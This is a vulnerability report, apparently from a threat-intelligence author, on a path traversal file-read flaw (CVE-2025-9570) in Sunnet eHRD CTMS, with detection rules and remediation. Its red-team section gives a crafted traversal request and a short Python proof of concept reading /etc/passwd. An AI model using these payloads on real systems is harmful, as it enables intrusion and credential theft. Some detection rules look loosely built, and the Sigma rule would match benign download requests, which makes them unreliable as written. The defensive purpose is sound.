CVE-2025-9570

Executive Summary

CVE-2025-9570 is an Arbitrary File Reading vulnerability in the eHRD CTMS (Clinical Trial Management System) developed by Sunnet. The flaw allows remote attackers with administrator privileges to exploit Relative Path Traversal (CWE-23) to download arbitrary system files. Although the CVSS score is listed as 0.0 (likely unassigned or placeholder), the impact is severe: an authenticated admin can read sensitive files such as configuration files, credentials, or system binaries. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the privileged access required, this vulnerability is a critical risk for organizations using Sunnet eHRD CTMS.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary commercial application (Sunnet eHRD CTMS). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned – likely placeholder)
• Attack Vector: Network (remote)
• Attack Complexity: Low
• Privileges Required: High (administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (arbitrary file read)
• Integrity Impact: None
• Availability Impact: None
• Threat Level: High (due to potential for credential theft and lateral movement)

Deep Dive & Mechanics

The vulnerability resides in the file download functionality of eHRD CTMS. The application fails to properly sanitize user-supplied paths when processing file download requests. An authenticated administrator can inject relative path traversal sequences (e.g., ../../../etc/passwd) into the file path parameter, causing the server to read files outside the intended web root directory.

Root Cause: The application uses a relative path without validating that the resolved path stays within an allowed directory. The server likely concatenates a base directory with the user-supplied path, but does not check for ../ sequences.

Attack Flow:

1. Attacker authenticates as an administrator.
2. Attacker sends a crafted HTTP request to the file download endpoint with a path parameter containing ../../../etc/passwd.
3. The server resolves the path and reads the file.
4. The file content is returned in the HTTP response.

Impact: An attacker can read sensitive system files (e.g., /etc/shadow, application configuration files, database credentials, SSH keys) leading to full system compromise.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

# Vulnerable Python example
def download_file(request):
    filename = request.GET.get('file')
    base_dir = '/var/www/ehrd/uploads/'
    full_path = os.path.join(base_dir, filename)
    # No path traversal check
    with open(full_path, 'rb') as f:
        return HttpResponse(f.read(), content_type='application/octet-stream')

Patched Code (Conceptual):

# Patched Python example
import os
def download_file(request):
    filename = request.GET.get('file')
    base_dir = '/var/www/ehrd/uploads/'
    # Resolve and validate path
    full_path = os.path.normpath(os.path.join(base_dir, filename))
    if not full_path.startswith(base_dir):
        return HttpResponseForbidden('Invalid path')
    with open(full_path, 'rb') as f:
        return HttpResponse(f.read(), content_type='application/octet-stream')

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid administrator credentials for eHRD CTMS.
• Network access to the application.

Exploitation Steps:

1. Log in as an administrator.
2. Identify the file download endpoint (e.g., /download?file=).
3. Craft a request to read /etc/passwd:

   GET /download?file=../../../etc/passwd HTTP/1.1
   Host: target-ehrd.com
   Cookie: session=admin_session_cookie
   

4. The server returns the contents of /etc/passwd.

Proof-of-Concept (Python):

import requests

target = "https://target-ehrd.com"
session = requests.Session()
# Authenticate first (example)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Exploit path traversal
payload = "../../../etc/passwd"
r = session.get(f"{target}/download?file={payload}")
print(r.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for HTTP requests containing ../ or ..\\ in file download parameters.
• Alert on multiple failed login attempts followed by file download requests with path traversal patterns.
• Use WAF rules to block path traversal sequences.

Defense:

• Implement strict input validation: reject any file path containing ../ or ..\\.
• Use a whitelist of allowed filenames.
• Run the application with minimal file system permissions (e.g., read-only access to uploads directory).
• Apply the principle of least privilege for administrator accounts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with file parameter containing ../ sequences.
  • Unusual outbound data transfers from the eHRD server.
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, or application config files.
• Log IOCs:
  • Web server logs showing 200 OK responses to path traversal requests.
  • Application logs showing file read errors for paths outside the web root.

Detection Engineering

YARA Rule

rule CVE_2025_9570_PathTraversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests targeting eHRD CTMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9570"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $ehrd_endpoint = "/download?file="
    condition:
        $ehrd_endpoint and $path_traversal
}

Sigma Rule

title: CVE-2025-9570 eHRD CTMS Path Traversal Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in HTTP requests to eHRD CTMS file download endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "/download?file="
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9570 eHRD CTMS Path Traversal Attempt"; flow:to_server; content:"/download?file="; http_uri; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Administrator Access: Limit the number of users with admin privileges. Use multi-factor authentication.
2. Web Application Firewall (WAF): Deploy WAF rules to block path traversal patterns (e.g., ../, ..\\).
3. Input Validation: Implement server-side validation to reject any file path containing ../ or ..\\.
4. File System Permissions: Run the application with a dedicated low-privilege user account. Restrict read access to only necessary directories.

Long-Term Fix:

• Contact Sunnet for an official patch. If unavailable, consider migrating to an alternative CTMS solution.
• Conduct a full security audit of the application.

Workaround:

• Disable the file download feature if not essential.
• Use a reverse proxy to sanitize file paths before they reach the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-9570